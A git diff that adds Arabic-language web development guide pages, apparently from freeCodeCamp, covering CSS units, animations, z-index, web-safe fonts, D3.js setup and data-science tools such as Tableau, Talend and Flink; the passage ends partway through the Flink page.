+*   مثال: `html div { font-size: 16px; } div h3 { font-size: 2rem; }` هنا يساوي `<h3>` `32px` لأن `font-size` للعنصر الحالي أو الأصل هو 16 `16px` .
+*   `rem`
+*   الجذر `em` ، أو عرض حرف كبير حرف M من `font-size` الأساسي الافتراضي.
+*   لن يكون لأحجام الخطوط الأصل أي تأثير.
+*   مثال: `html body { font-size: 16px; } p { font-size: 1.5rem; }` هنا يساوي `<p>` `24px` لأن `font-size` الأساسي الافتراضي هو 16 `16px` .
+*   `%`
+*   حجم النسبة المئوية لحجم الوالد.
+*   مثال: `html div { width: 400px; } div p { width: 75%; }` نظرًا لأن عرض الوالد هو `400px` ، فإن عرض الخط البارد الداخلي سيكون `300px` ، أو 75٪ من `400px` `300px` .
+*   `vw`
+*   عرض العرض ، أو 1/100 من عرض إطار العرض
+*   مثال: `html body { width: 100vw; }` يملأ `body` عرض إطار العرض ، سواء أكان 417 بكسل ، أو 690 بكسل ، أو أي عرض.
+*   `vh`
+*   أو ارتفاع العرض ، أو 1/100 من ارتفاع إطار العرض
+*   مثال: `html div { height: 50vh; }` سيعمل هذا `div` على ملء نصف ارتفاع إطار العرض ، سواء كان 1080 بكسل أو 1300 بكسل أو أي ارتفاع.
+
+### وحدات مطلقة
+
+ستكون الوحدات المطلقة هي نفسها بغض النظر عن حجم الشاشة أو الإعدادات الأخرى. بعض الوحدات المطلقة هي
+
+*   `px`
+*   بكسل
+*   عدد البكسل ترتبط بجودة شاشة جهاز العرض
+*   `in` ، `cm` ، `mm`
+*   بوصة ، سنتيمتر ، مليمتر
+*   بوصة واحدة إنش على شاشة صغيرة أو شاشة كبيرة
+*   `pt` ، `pc`
+*   نقاط (1/72 من البوصة) و picas (12 نقطة)
+
+مثال
+
+ `
+p { 
+  font-size: 24px; 
+ } 
+ div { 
+  width: 3in; 
+  border-width: 3pt; 
+ } 
+` 
+
+ستظهر `font-size: 24px` بكسل على أنها 24 بكسل على الهاتف أو الجهاز اللوحي أو شاشة سطح المكتب.
+
+سيظهر `div` بعرض 3 بوصات ، `border` على `div` ستكون 3/72 من سماكة بوصة ، بغض النظر عن حجم الشاشة.
+
+### معلومات اكثر:
+
+*   [WebPlatforms فهم وحدات البكسل ووحدات CSS الأخرى](https://webplatform.github.io/docs/tutorials/understanding-css-units/)
+*   [MDN Web Docs - CSS Units](https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Values_and_units)
+*   [دروس تصميم مواقع الإنترنت]('https://webdesign.tutsplus.com/articles/7-css-units-you-might-not-know-about--cms-22573)
+*   [تعليمات HTML على وحدات CSS](http://www.htmlhelp.com/reference/css/units.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/using-css-animations/index.md b/client/src/guide/arabic/css/using-css-animations/index.md
new file mode 100644
index 0000000000..a00396c899
--- /dev/null
+++ b/client/src/guide/arabic/css/using-css-animations/index.md
@@ -0,0 +1,68 @@
+---
+title: Using CSS Animations
+localeTitle: استخدام الرسوم المتحركة CSS
+---
+## استخدام الرسوم المتحركة CSS
+
+الرسوم المتحركة CSS إضافة الجمال إلى صفحات الويب. تعمل رسومات CSS على الانتقال من نمط CSS إلى آخر جميل.
+
+لإنشاء تسلسل رسوم متحركة CSS ، لدينا خصائص فرعية مختلفة في خاصية `animation` في CSS:
+
+*   `animation-delay`
+*   `animation-direction`
+*   `animation-duration`
+*   `animation-iteration-count`
+*   `animation-name`
+*   `animation-play-state`
+*   `animation-timing-function`
+*   `animation-fill-mode`
+
+### عينة تسلسل الرسوم المتحركة CSS لنقل النص عبر الشاشة
+
+في جزء HTML ، سيكون لدينا مستند `div` مع `container` للفئة و `h3` مع النص `Hello World` :
+
+ `
+<div class="container"> 
+    <h3> Hello World ! </h3> 
+ </div> 
+` 
+
+بالنسبة لجزء CSS:
+
+ ``.container { 
+    /* We will define the width, height and padding of the container */ 
+    /* The text-align to center */ 
+    width: 400px; 
+    height: 60px; 
+    padding: 32px; 
+    text-align: center; 
+ 
+    /* Use the animation `blink` to repeat infinitely for a time period of 2.5s*/ 
+    animation-duration: 2.5s; 
+    animation-iteration-count: infinite; 
+    animation-direction: normal; 
+    animation-name: blink; 
+ 
+    /* The same can be written shorthand as     */ 
+    /* --------------------------------------   */ 
+    /* animation: 2.5s infinite normal blink;   */ 
+ } 
+ @keyframes blink { 
+    0%, 100% {              /* Defines the properties at these frames */ 
+        background: #333; 
+        color: white; 
+    } 
+ 
+    50% {                   /* Defines the properties at these frames */ 
+        background: #ccc; 
+        color: black; 
+        border-radius: 48px; 
+    } 
+ } 
+`` 
+
+![Imgur](https://imgur.com/sczZjwm.gif)
+
+#### معلومات اكثر:
+
+للحصول على مزيد من المعلومات على CSS الرسوم المتحركة ، يرجى زيارة [Mozilla Developer Network Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/using-css-transitions/index.md b/client/src/guide/arabic/css/using-css-transitions/index.md
new file mode 100644
index 0000000000..ce9c034190
--- /dev/null
+++ b/client/src/guide/arabic/css/using-css-transitions/index.md
@@ -0,0 +1,11 @@
+---
+title: Using CSS Transitions
+localeTitle: استخدام انتقالات CSS
+---
+## استخدام انتقالات CSS
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/using-css-transitions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/vertical-align/index.md b/client/src/guide/arabic/css/vertical-align/index.md
new file mode 100644
index 0000000000..e9d3cc3878
--- /dev/null
+++ b/client/src/guide/arabic/css/vertical-align/index.md
@@ -0,0 +1,32 @@
+---
+title: Vertical Align CSS  
+localeTitle: عمودي محاذاة CSS
+---
+## عمودي محاذاة
+
+`vertical-align` هي خاصية CSS تستخدم لمحاذاة صورة رأسية.
+
+على سبيل المثال ، يمكنك أن تكون `vertical-align` مثل هذه لمحاذاة صورة:
+
+ `img { 
+    vertical-align: top; 
+ } 
+` 
+
+هذه هي القيم الصالحة `vertical-align` :
+
+*   `baseline` - هذه هي القيمة الافتراضية. تقوم بمحاذاة العنصر إلى الخط الأساسي للعنصر الرئيسي
+*   `length` - يؤدي هذا إلى جعل خط الأساس لهذا العنصر عند طول معين أعلى أو أسفل خط الأساس الخاص بالوالدين. يمكنك استخدام البكسلات ، em ،٪ ، إلخ.
+*   `sub` - يقوم هذا بمحاذاة العنصر كما لو كان عبارة عن نص العنصر الرئيسي
+*   `super` - يقوم هذا بمحاذاة العنصر كما لو كان أعلى عنصر الأصل
+*   `top` - يقوم هذا بمحاذاة العنصر بحيث يكون أعلى هذا العنصر متوافقاً مع الجزء العلوي من أطول عنصر في السطر
+*   `bottom` - هذا محاذاة العنصر بحيث يتم محاذاة الجزء السفلي من هذا العنصر مع الجزء السفلي من العنصر الأدنى على الخط
+*   `middle` - يقوم هذا بمحاذاة العنصر بحيث يكون في وسط العنصر الرئيسي
+*   `text=top` - يقوم هذا بمحاذاة الجزء العلوي من هذا العنصر بحيث يتم محاذاة أعلى قمة العنصر الرئيسي
+*   `text-bottom` - يؤدي هذا إلى محاذاة الجزء السفلي من هذا العنصر بحيث تتم محاذاته مع الجزء السفلي من نص العنصر الأصلي
+
+#### معلومات اكثر:
+
+*   [CSS العمودية محاذاة](https://www.w3schools.com/cssref/pr_pos_vertical-align.asp)
+    
+*   [CSS-Tricks المحاذاة العمودية](https://css-tricks.com/almanac/properties/t/text-align/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/w3-css-containers/index.md b/client/src/guide/arabic/css/w3-css-containers/index.md
new file mode 100644
index 0000000000..0ae90ebd29
--- /dev/null
+++ b/client/src/guide/arabic/css/w3-css-containers/index.md
@@ -0,0 +1,32 @@
+
+#localeTitle: undefined
+#W3 المغلق الحاويات يوفر W3.css فئة الحاوية التي تضيف 16 بيكسل قيمة الحشو اليسرى واليمنى لأي عنصر html و 0.01em من الحشو العلوية والسفلية. وهذا يجعله مثاليًا لعناصر html التي تحتوي على عناصر مثل `<header>, <div>, <footer>, <section>` إلخ. ولكن يمكن استخدامها أيضًا مع تأثير كبير على عناصر مثل `<img> and <p>.`
+
+### مثال بسيط
+
+ `<header class="w3-container"> 
+  <h1>Header With W3 Container</h1> 
+ </header> 
+` 
+
+ `<header> 
+  <h1>Header Without W3 Container</h1> 
+ </header> 
+` 
+
+ستنتج النتيجة التالية.
+
+![Header img](https://github.com/OcelotDive/randomImages/blob/master/images/WithWithout.PNG)
+
+### لاستخدام حاويات W3.Css
+
+ما عليك سوى إضافة رابط ورقة أنماط عادية إلى رأس صفحة الويب مثل:
+
+ `<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 
+` 
+
+أو قم بتنزيل أحدث ملف css إلى جهازك المحلي. هنا: (https://www.w3schools.com/w3css/4/w3.css)
+
+#### مزيد من المعلومات حول حاويات W3.Css
+
+##### W3schools.com (https://www.w3schools.com/w3css/w3css\_containers.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/w3-css-slideshow/index.md b/client/src/guide/arabic/css/w3-css-slideshow/index.md
new file mode 100644
index 0000000000..fd57fc389e
--- /dev/null
+++ b/client/src/guide/arabic/css/w3-css-slideshow/index.md
@@ -0,0 +1,11 @@
+---
+title: W3 CSS Slideshow
+localeTitle: W3 CSS عرض الشرائح
+---
+## W3 CSS عرض الشرائح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/w3-css-slideshow/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/web-safe-fonts/index.md b/client/src/guide/arabic/css/web-safe-fonts/index.md
new file mode 100644
index 0000000000..b3ff209117
--- /dev/null
+++ b/client/src/guide/arabic/css/web-safe-fonts/index.md
@@ -0,0 +1,40 @@
+---
+title: Web Safe Fonts
+localeTitle: خطوط الويب الآمنة
+---
+## خطوط الويب الآمنة
+
+الخطوط الآمنة للويب هي الخطوط التي يتم تضمينها مع معظم أنظمة التشغيل ، وهذا يعني أن هذا المصمم المرتفع يمكن أن يتوقع من المصمم طباعة تتضمن خطوط آمنة على الويب لتظهر تمامًا كما هو مقصود لمعظم المستخدمين. في ما يلي قوائم غير شاملة لبعض الخطوط التي تعتبر آمنة على الويب في وقت الكتابة ، مصنفة حسب مجموعات خطوط CSS العامة.
+
+خطوط الويب الآمنة serif:
+
+*   جورجيا
+*   تايمز نيو رومان
+
+خطوط الويب الآمنة sans-serif:
+
+*   اريال
+*   نوع تهامه
+*   Trebuchet MS
+*   فيردانا
+
+خطوط monospaced آمنة على الويب:
+
+*   ساعي جديد
+
+تجدر الإشارة إلى أنه يجب استخدام مداخلات الخط مع خيارات الاحتياطي بما في ذلك عائلة الخطوط العامة حتى إذا كان التصميم الخاص بك يستخدم الخطوط الآمنة للويب فقط. فمثلا:
+
+ `p { 
+  font-family: Tahoma, Arial, sans-serif; 
+ } 
+` 
+
+#### ملاحظة على خطوط الويب
+
+فقط لأن بعض الخطوط أكثر أمانًا من غيرها لا يعني أنه يجب عليك قصر تصميماتك على استخدام خطوط الويب الآمنة فقط. التصاميم الحديثة مع CSS يمكنها أيضًا الاستفادة من خطوط الويب لضمان الطباعة المتسقة عبر أنظمة التشغيل.
+
+#### معلومات اكثر:
+
+*   [وثائق MDN: النص الأساسي وتصميم الخطوط](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Web_safe_fonts)
+*   [وثائق MDN: خطوط الويب](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts)
+*   [خطوط الويب الآمنة](https://www.cssfontstack.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/will-change/index.md b/client/src/guide/arabic/css/will-change/index.md
new file mode 100644
index 0000000000..8a8ba7cfe9
--- /dev/null
+++ b/client/src/guide/arabic/css/will-change/index.md
@@ -0,0 +1,32 @@
+---
+title: Will Change
+localeTitle: سوف يتغير
+---
+## سوف يتغير
+
+تسمح لك خاصية will-change بإخبار المتصفح عن التلاعبات التي ستحدث مع العنصر من أجل تحسينها.
+
+ `.container { 
+ will-change: transform; 
+ } 
+` 
+
+سيتم استخدام خاصية will-change في الفئة `.container` ، في هذه الحالة ، قد يحدث أو لا يحدث التحويل على العنصر.
+
+ومع ذلك ، باستخدام هذه الخاصية هناك تأثير جانبي مثير للاهتمام.
+
+إذا طبقنا على التحويل: `translateZ (0)` عنصر ، فإن العنصر سيخلق تراكبًا جديدًا للسياق ، وفي بعض المتصفحات ، سيضيف أيضًا طبقة إلى تيار العرض الخاص به ، مما سيعطينا دفعة أداء ، والتي نحققها .
+
+وبالتالي ، باستخدام `will-change: transform` ، سيقوم المتصفح بإنشاء سياق تراكب جديد ، بغض النظر عما إذا كنا قد طبقنا التحويل إلى العنصر أم لا.
+
+والشيء الأساسي الذي يجب ملاحظته هو أن will-change سيؤدي إلى إنشاء سياق تراكب جديد فقط إذا كان الموقع أيضًا ينشئ سياق تراكب جديد. نظرًا لأن خاصية التحويل تُنشئ سياق تراكب جديد ، فإن `will-change: transform` سيعمل `will-change: transform` أيضًا على إنشاء سياق تراكب جديد.
+
+إذا استخدمت `will-change: display` ، فلن يتم إنشاء سياق تراكب جديد ، نظرًا لأنه لا توجد قيمة لخاصية العرض تخلق تراكبًا جديدًا للسياق.
+
+دعونا ننظر إلى مثال آخر: `opacity` . لا تعمل التعمية ذات القيمة 1 على إنشاء سياق تراكب جديد ، ولكن سيتم إنشاء قيمة أقل (على سبيل المثال ، 0.9). أثناء تغيير will-change: ستعمل العتامة على أي حال على إنشاء سياق تراكب جديد.
+
+#### معلومات اكثر:
+
+*   [will-change on MDN web docs](https://developer.mozilla.org/en-US/docs/Web/CSS/will-change)
+*   [سيغير CSS الوحدة النمطية 1 (مسودة العمل)](https://drafts.csswg.org/css-will-change/#will-change)
+*   [هل يمكنني استخدام: سيغير CSS الملكية](https://caniuse.com/#feat=will-change)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/z-index/index.md b/client/src/guide/arabic/css/z-index/index.md
new file mode 100644
index 0000000000..98b658c4c4
--- /dev/null
+++ b/client/src/guide/arabic/css/z-index/index.md
@@ -0,0 +1,96 @@
+---
+title: Z Index
+localeTitle: مؤشر Z
+---
+## مؤشر Z
+
+Z Index ( `z-index` ) هي خاصية CSS تقوم بتعريف ترتيب عناصر HTML المتداخلة. سيتم وضع العناصر ذات مؤشر أعلى على عناصر ذات مؤشر أقل.
+
+**ملاحظة** : يعمل الفهرس Z فقط على العناصر الموضوعة ( `position:absolute` ، `position:relative` ، أو `position:fixed` ).
+
+#### القيم الممكنة
+
+ `/* Default value if not specified */ 
+ z-index: auto; 
+ 
+ /* Integer values */ 
+ z-index: 1; 
+ z-index: 100; 
+ z-index: 9999; 
+ z-index: -1; 
+ 
+ /* Global values */ 
+ z-index: inherit; 
+ z-index: initial; 
+ z-index: unset; 
+` 
+
+#### مثال للاستخدام
+
+في هذا المثال ، يمكنك مشاهدة ثلاث مربعات معروضة فوق بعضها البعض في أوامر مختلفة باستخدام `z-index` .
+
+_HTML_
+
+ `
+<div class="container"> 
+  <div class="box" id="blue"></div> 
+  <div class="box" id="red"></div> 
+  <div class="box" id="green"></div> 
+ </div> 
+` 
+
+_CSS_
+
+ `#blue { 
+  background-color: blue; 
+ } 
+ 
+ #red { 
+  background-color: red; 
+ } 
+ 
+ #green { 
+  background-color: green; 
+ } 
+` 
+
+بما أنه لم يتم تعريف `z-index` ، فستكون له قيمة افتراضية من `auto` . هذه نتيجة:
+
+![صورة من ثلاث مربعات](https://image.prntscr.com/image/Yc9oGkdKTnm_YIHzaKQmbQ.png)
+
+حاول تغيير الترتيب إلى الأخضر والأزرق والأحمر في CSS باستخدام `z-index` .
+
+ `#blue { 
+  background-color: blue; 
+  z-index: 2; 
+ } 
+ 
+ #red { 
+  background-color: red; 
+  z-index: 1; 
+ } 
+ 
+ #green { 
+  background-color: green; 
+  z-index: 3; 
+ } 
+` 
+
+ستكون النتيجة الخاصة بك:
+
+![صورة من ثلاث مربعات](https://image.prntscr.com/image/Am9XxPO4Q2mq-PcokJ47Wg.png)
+
+استخدم Z Index إذا كنت بحاجة إلى وضع عنصر خلفية أسفل الحاوية. يمكنك وضع الخلفية بسهولة تحت كل عنصر عن طريق إعطائها مؤشر Z سلبي مثل أدناه:
+
+ `#background { 
+  z-index: -1; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+[https://css-tricks.com/almanac/properties/z/z-index/](https://css-tricks.com/almanac/properties/z/z-index/)
+
+[https://developer.mozilla.org/en-US/docs/Web/CSS/CSS _Positioning / Understanding_ z\_index](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index)
+
+[https://philipwalton.com/articles/what-no-one-told-you-about-z-index/](https://philipwalton.com/articles/what-no-one-told-you-about-z-index/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/d3/index.md b/client/src/guide/arabic/d3/index.md
new file mode 100644
index 0000000000..e83c3fedd4
--- /dev/null
+++ b/client/src/guide/arabic/d3/index.md
@@ -0,0 +1,68 @@
+---
+title: D3
+localeTitle: D3
+---
+# D3: المستندات المبنية على البيانات
+
+**المستندات المستندة إلى البيانات** (D3.js) هي مكتبة جافا سكريبت لإنتاج تصورات مرئية ديناميكية وتفاعلية في متصفحات الويب. يحتوي **D3.js** API الطرق المختلفة التي يمكن تصنيفها في الوحدات المنطقية التالية - _مختارات،_ _التحولات،_ _صالحة،_ _الرياضيات،_ _اللون،_ _بره_ _SVG،_ _الوقت،_ _تخطيط،_ _الجغرافيا،_ _علم الهندسة،_ _السلوكيات._
+
+![D3.js Logo](https://i2.wp.com/pbiswas101.files.wordpress.com/2018/07/d3.jpg?w=312&h=161)
+
+يساعدك **D3.js** على تخيل البيانات من خلال الجمع بين تقنيات التصور والتفاعل القوية مع نهج يعتمد على البيانات للتلاعب بـ DOM. كما يوفر إمكانات كاملة للمتصفحات الحديثة من خلال تصميم الواجهة المرئية الصحيحة لبياناتك.
+
+**تم** إصدار **D3.js** version 1.0.0 في 18 فبراير 2011.
+
+## لماذا ، D3.js؟
+
+لا يقدم _D3_ \* تمثيلًا مرئيًا جديدًا. على عكس **المعالجة** ، **Raphaël** ، أو **Protovis** ، **تأتي** مفردات _D3 الخاصة_ بالعلامات الرسومية مباشرة من معايير الويب: HTML و SVG و CSS - https://d3js.org/
+
+###### البدء
+
+هناك أكثر من **20،000+** أمثلة من **D3.js** يمكن أن تتعلم منها ، لكنك لا تعرف أبدًا كيف سيكون ذلك ممكنًا! لذا ، فإن السؤال هو - كيف يمكنك بناء التصور الخاص بك من المبادئ الأولى؟ كما ترى على الأرجح ، فإن واجهة برمجة التطبيقات الخاصة بـ D3 ضخمة ، لذا دعنا ندعو بعض الأدوات المساعدة التي ستكون مفيدة بشكل خاص في وقت مبكر:
+
+*   **D3 على نطاق**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/scale.png?w=400&h=100)
+
+*   **D3 شكل**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/shape.png?w=400&h=100)
+
+*   **D3 الاختيار**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/selection.gif?w=400&h=100)
+
+*   **D3 جمع**
+
+![](https://i0.wp.com/pbiswas101.files.wordpress.com/2018/07/collection.png?w=400&h=100)
+
+*   **D3-التسلسل الهرمي**
+
+![](https://i2.wp.com/pbiswas101.files.wordpress.com/2018/07/hierarchy.png?w=400&h=100)
+
+*   **D3 التكبير**
+
+![](https://i1.wp.com/pbiswas101.files.wordpress.com/2018/07/zoom.gif?w=400&h=100)
+
+*   **D3 القوة**
+
+![](https://i1.wp.com/pbiswas101.files.wordpress.com/2018/07/force.gif?w=400&h=100)
+
+بذلك ، مع بعض المعارف الأساسية لأحدث ميزات HTML5 مثل SVG ، Canvas ، يمكنك الغوص في عالم حيث المكتبة مثل **D3.js** تجلب البيانات إلى الحياة! ###### إسهام
+
+*   https://github.com/d3/
+    
+    ### مصادر
+    
+*   https://en.wikipedia.org/wiki/D3.js
+    
+*   https://en.wikipedia.org/wiki/Document _Object_ Model
+    
+*   http://blockbuilder.org/search
+    
+*   https://d3indepth.com/
+    
+*   https://davidwalsh.name/learning-d3
+    
+
+* * *
\ No newline at end of file
diff --git a/client/src/guide/arabic/d3/set-up-d3/index.md b/client/src/guide/arabic/d3/set-up-d3/index.md
new file mode 100644
index 0000000000..ce268d8c17
--- /dev/null
+++ b/client/src/guide/arabic/d3/set-up-d3/index.md
@@ -0,0 +1,72 @@
+---
+title: Set Up D3
+localeTitle: إعداد D3
+---
+## إعداد HTML
+
+في الوقت الحالي ، ستستخدم فقط ملفًا نصيًا ومتصفح الويب. سوف تبدأ مع صفحة ثابتة من HTML. ثم ستضيف d3.js. قم بإنشاء مجلد باسم _مشاريع_ d3js _. قم بإنشاء ملف HTML في المجلد المسمى project_ 1.html.
+
+ابدأ بصفحة HTML الأساسية على الويب:
+
+ `
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+  </head> 
+  <body> 
+    <p>Hello!</p> 
+  </body> 
+ </html> 
+` 
+
+الذي يظهر في المتصفح:
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/project_1_browser_snapshot_600x198.png)
+
+### D3.js الإعداد
+
+للحصول على ملف جافا سكريبت D3.js الرئيسي ، انتقل إلى موقع D3.js الإلكتروني. بعد الفقرة الأولى في الصفحة ، سترى قسمًا يحتوي على روابط لأحدث إصدار. قم بتنزيل أحدث إصدار d3.v2.min.js. احفظ هذا الملف في مجلد d3js\_projects.
+
+يتم حفظ الملف d3.v2.min.js في نفس المجلد كملف HTML بحيث يمكن الرجوع إليه بسهولة. نشير إلى ملف جافا سكريبت من رأس ملف HTML. يبدو الآن ملف HTML المحدث الخاص بنا كما يلي:
+
+`html <!DOCTYPE html> <html> <head> <script type="text/javascript" src="d3.v2.min.js"></script> </head> <body> <p>Hello!</p> </body> </html>`
+
+اختبار ملف المصدر اختبار
+
+لاختبار إعداد D3.js ، نفتح مجموعة أدوات عنصر الفحص. في علامة التبويب العنصر في Webkit Inspector ، نفتح جميع العناصر حتى نتمكن من رؤية بنية HTML بالكامل. ثم نحوم فوق d3.vs.min.js src.
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.installation.check.png)
+
+عندما نضغط على الرابط ، يأخذنا إلى علامة تبويب المصادر. سيظهر هذا رمز D3.js minified.
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.source.check.png)
+
+\### اختبار جافا سكريبت الإعداد اختبار
+
+سيتم إجراء الاختبار الأخير في وحدة تحكم جافا سكريبت. يخبرنا هذا الاختبار إذا تم تحميل D3.js بشكل صحيح لاستخدامنا في وحدة تحكم JavaScript. في هذه اللقطة ، حدد موقع علامة التبويب "Console" في Webkit Inspector:
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.installation.check.png)
+
+عندما تنقر على علامة التبويب ، ستظهر لك شاشة فارغة يمكنك كتابة وتكوين JavaScript بها.
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/JavaScript_Console_600x170.png)
+
+في وحدة تحكم جافا سكريبت ، اكتب ما يلي:
+
+`javascript alert("hello");`
+
+سيؤدي ذلك إلى تنبيه منبثق لتنبيه "Hello!". هذا ما يبدو عليه:
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/JavaScript_Consoler_Alert_600x335.png)
+
+الآن لاختبار ما إذا تم تحميل D3.js بشكل صحيح. اكتب حرفًا صغيرًا "d3" في وحدة التحكم متبوعًا بنقطة:
+
+`javascript d3`
+
+إذا تم تثبيت D3.js بشكل صحيح ، يجب أن يظهر ما يلي:
+
+![](https://d1gg5jm9r4jrt6.cloudfront.net/d3.js.javascript.console_300x420.png)
+
+إذا مرت جميع الاختبارات وكنت قادراً على تحميل D3.js بشكل صحيح ، فأنت جاهز للبدء.
+
+\#### معلومات اكثر
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/Tableau/index.md b/client/src/guide/arabic/data-science-tools/Tableau/index.md
new file mode 100644
index 0000000000..e677a597d1
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/Tableau/index.md
@@ -0,0 +1,12 @@
+---
+  title: Tableau
+localeTitle: طاولة
+---
+# التابلوه لوحة حية
+
+Tableau هو برنامج لتصور البيانات لاستخبارات الأعمال. Tableau هو الفكر المتاحة من الناحية التجارية مؤسسة تابلو للبرمجيات. وتشمل Capabilites تصورات تفاعلية للغاية ، ورسم الخرائط capabilites ، و dashbaords. يوجد مجتمع roboust لمنصات تصويرية على الإنترنت ، حيث يقوم العديد من الأفراد بنشر لوحاتهم بشكل علني.
+
+### الروابط:
+
+*   [موقع تابلوه](https://www.tableau.com)
+*   [معرض تابلو العام](https://public.tableau.com/en-us/s/gallery)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/Talend/index.md b/client/src/guide/arabic/data-science-tools/Talend/index.md
new file mode 100644
index 0000000000..aa901d79da
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/Talend/index.md
@@ -0,0 +1,33 @@
+---
+title: Talend Open Studio
+localeTitle: Talend Open Studio
+---
+## Talend Open Studio
+
+[برنامج Talend](https://www.talend.com/) [Open Studio](https://www.talend.com/products/talend-open-studio/) هو برنامج مفتوح المصدر يحتوي على حلول [لتكامل](https://www.talend.com/products/data-integration/data-integration-open-studio/) [البيانات](https://www.talend.com/products/big-data/big-data-open-studio/) ، [البيانات الكبيرة](https://www.talend.com/products/big-data/big-data-open-studio/) ، [إعداد](https://www.talend.com/products/data-preparation/data-preparation-free-desktop/) [البيانات](https://www.talend.com/products/talend-open-studio/data-quality-open-studio/) ، [جودة البيانات](https://www.talend.com/products/talend-open-studio/data-quality-open-studio/) ، [حافلة خدمة المؤسسات](https://www.talend.com/products/application-integration/esb-open-studio/) [وإدارة البيانات الرئيسية](https://www.talend.com/products/mdm/mdm-open-studio/) .
+
+بفضل طبيعة المصدر المفتوح لهذا المشروع ، يساعد مجتمع مزدهر في تطوير [الإضافات والمكونات](https://exchange.talend.com/) .
+
+## تكامل البيانات
+
+قم بتحفيز مشاريع ETL الخاصة بك ودمج البيانات ![تكامل البيانات](https://www.talend.com/wp-content/uploads/connect-and-transform-data-in-no-time.jpg)
+
+## البيانات الكبيرة
+
+تبسيط ETL لمجموعات البيانات الكبيرة والمتنوعة ![البيانات الكبيرة](https://www.talend.com/wp-content/uploads/connect-and-transform-big-data.jpg)
+
+## إعداد البيانات
+
+تمكين المستخدمين من اكتشاف ومزج وتنظيف البيانات ![إعداد البيانات](https://www.talend.com/wp-content/uploads/get-your-time-back.jpg)
+
+## جودة البيانات
+
+تقييم دقة وسلامة البيانات ![جودة البيانات](https://www.talend.com/wp-content/uploads/map-your-path-to-clean-data.jpg)
+
+## حافلة خدمة المؤسسة
+
+تسريع تزامن التطبيقات وواجهات برمجة التطبيقات ![حافلة خدمة المؤسسة](https://www.talend.com/wp-content/uploads/speed-up-integration-for-reuse-2.png)
+
+## إدارة البيانات الرئيسية
+
+توليد "نسخة واحدة من الحقيقة" للبيانات ![إدارة البيانات الرئيسية](https://www.talend.com/wp-content/uploads/generate-a-single-version-of-the-truth-for-data.jpg)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/detail/index.md b/client/src/guide/arabic/data-science-tools/detail/index.md
new file mode 100644
index 0000000000..9dbcc7b370
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/detail/index.md
@@ -0,0 +1,40 @@
+---
+title: detail
+localeTitle: التفاصيل
+---
+## ما هو علم البيانات
+
+### علم البيانات هو مجال متعدد التخصصات يجمع بين المهارات في
+
+ `    software engineering and statistics with domain experience to 
+    support the end-to-end analysis of large and diverse data sets, 
+    ultimately uncovering value for an organization and then 
+    communicating that value to stakeholders as actionable results. 
+` 
+
+## عالم البيانات
+
+ `Person who is better at statistics than any software engineer and 
+    better at software engineering than any statistician. 
+` 
+
+## ما هي المهارات التي تحتاج إليها؟
+
+ `* Mathematics - Calculus, Linear Algebra 
+ * Statistics - Hypothesis, Testing, Regression 
+ * Programming - SQL, R/Python 
+ * Machine Learning - Supervised and Unsupervised Learning, Model Fitting 
+ * Business/Product Intuition - Interpret and communicate results to non-technical audience 
+` 
+
+## دورة الحياة
+
+ `1 - Identify or Formulate Problem 
+ 2 - Data Preparation 
+ 3 - Data Exploration 
+ 4 - Transform and Select 
+ 5 - Build Model 
+ 6 - Validate Model 
+ 7 - Deploy Model 
+ 8 - Evalute or Monitor Results 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/flink/batch-examples-java/index.md b/client/src/guide/arabic/data-science-tools/flink/batch-examples-java/index.md
new file mode 100644
index 0000000000..ce3397e799
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/flink/batch-examples-java/index.md
@@ -0,0 +1,93 @@
+---
+title: Flink Batch Example JAVA
+localeTitle: Flink Batch مثال JAVA
+---
+## Flink Batch مثال JAVA
+
+Apache Flink هو إطار مفتوح المصدر لتجهيز التدفق مع إمكانات قوية لمعالجة البث والدفعة.
+
+### المتطلبات الأساسية
+
+*   بيئة تشبه يونكس (Linux ، Mac OS X ، Cygwin)
+*   بوابة
+*   مي Mن (نوصي بالإصدار 3.0.4)
+*   جافا 7 أو 8
+*   IntelliJ IDEA أو Eclipse IDE
+
